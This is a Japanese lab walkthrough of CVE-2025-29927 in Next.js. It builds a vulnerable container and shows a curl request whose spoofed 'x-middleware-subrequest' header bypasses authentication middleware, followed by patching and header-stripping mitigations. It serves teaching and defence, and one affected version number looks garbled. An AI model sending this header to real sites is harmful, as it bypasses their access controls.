
Next.js 13.5.9以前のバージョンにおけるミドルウェアバイパスを実証する、CVE-2025-29927の概念実証(Proof of Concept)。
CVE-2025-29927 は、Next.js のバージョン 1.11.4 および 12.3.5、13.5.9、14.2.25、15.2.3 より前のバージョンで見つかった ミドルウェアバイパス の脆弱性です。これにより、外部の攻撃者が、開発者が middleware.ts ファイルに実装した認証、ボット検出、ジオロケーションリダイレクトなどのセキュリティロジックをスキップできます。
Next.js は、異なるアーキテクチャ層間の通信に内部 HTTP ヘッダーを使用します。そのヘッダーの1つが x-middleware-subrequest です。
この脆弱性は、影響を受けるバージョンの Next.js が、外部クライアント(ブラウザや curl など)から送信された場合でもこのヘッダーを信頼するために存在します。サーバーはこのヘッダーを認識すると、リクエストがすでにミドルウェアによって処理され「クリア」されたと見なし、セキュリティコードの実行を完全にスキップします。
ラボは、クリーンで再現可能な環境を確保するために、Node:18-alpine Docker コンテナ内で実行されています。
まず、名前付きコンテナをバックグラウンドで起動します。設定中にコンテナを起動したままにするために sleep infinity を使用します。
当初、後続のステージでコンテナを再起動する際にいくつか問題が発生したため、sleep infinity を選択しました。
docker run -d -p 3000:3000 --name CVE-2025-29927-Lab node:18-alpine sleep infinity
特定の脆弱なバージョンの Next.js をインストールします。--src-dir false フラグを指定しているにもかかわらず、フレームワークは src ディレクトリを作成することに注意してください。ミドルウェアを有効にするには、このディレクトリに配置する必要があります。
docker exec -it CVE-2025-29927-Lab npx --yes [email protected] lab --typescript --tailwind --eslint --app false --src-dir false --use-npm
セキュリティバリアをシミュレートするために、middleware.ts ファイルを作成します。このミドルウェアは、すべての着信リクエストを 401 Unauthorized ステータス でブロックするように構成されています。
# Enter the container shell
docker exec -it CVE-2025-29927-Lab sh
# Create the middleware file inside the src directory (One long command)
echo "import { NextResponse } from 'next/server'; export function middleware() { return new NextResponse('Blocked', { status: 401 }); } export const config = { matcher: '/:path*' };" > lab/src/middleware.ts
開発サーバーを起動し、コンソールに ✓ Ready シグナルが表示されるのを待ちます。
# While still in the container shell from Step 3 - run below command.
cd lab && npm run dev
ホストマシンで新しいターミナルウィンドウを開き(前のターミナルを閉じないでください)、curl を使用して環境をテストします。
変更されたヘッダーを含まない標準的なリクエストは、ミドルウェアによって正しく検出され、ブロックされます。
curl.exe -I http://localhost:3000/
# Expected Response: HTTP/1.1 401 Unauthorized
内部ヘッダー x-middleware-subrequest: src/middleware を注入することで、リクエストが内部プロセスによってすでに検証されたと Next.js に信じ込ませます。サーバーはミドルウェアの実行をスキップし、完全なアクセスを許可します。
curl.exe -I -H "x-middleware-subrequest: src/middleware" http://localhost:3000/
# Expected Response: HTTP/1.1 200 OK
CVE-2025-29927 からアプリケーションを保護するには、現在のメジャーリリースに対応するパッチ適用済みバージョンに Next.js をアップグレードする必要があります。
この脆弱性は以下のバージョンで解決されています。package.json が少なくともこれらのバージョンを反映していることを確認してください。
# Example for updating to the latest patched version
npm install next@latest
即時のアップグレードが不可能な場合は、Web アプリケーションファイアウォール(WAF)またはリバースプロキシ(例: Nginx、Cloudflare、Varnish)を構成して、Next.js アプリケーションサーバーに到達する前に、すべての外部リクエストから x-middleware-subrequest ヘッダーを削除またはドロップする必要があります。
アップグレード後、ステップ5の悪用コマンドを再実行して修正を検証できます。パッチ適用済みサーバーは、スプーフィングされたヘッダーが存在する場合、200 OK を返さなくなります。
この脆弱性は、Next.js が内部サブリクエストを識別するためにクライアント側のヘッダーを信頼しているために存在します。これを緩和するには、外部からの受信トラフィックからこれらの内部ヘッダーを適切に検証または削除するバージョンに Next.js を更新する必要があります。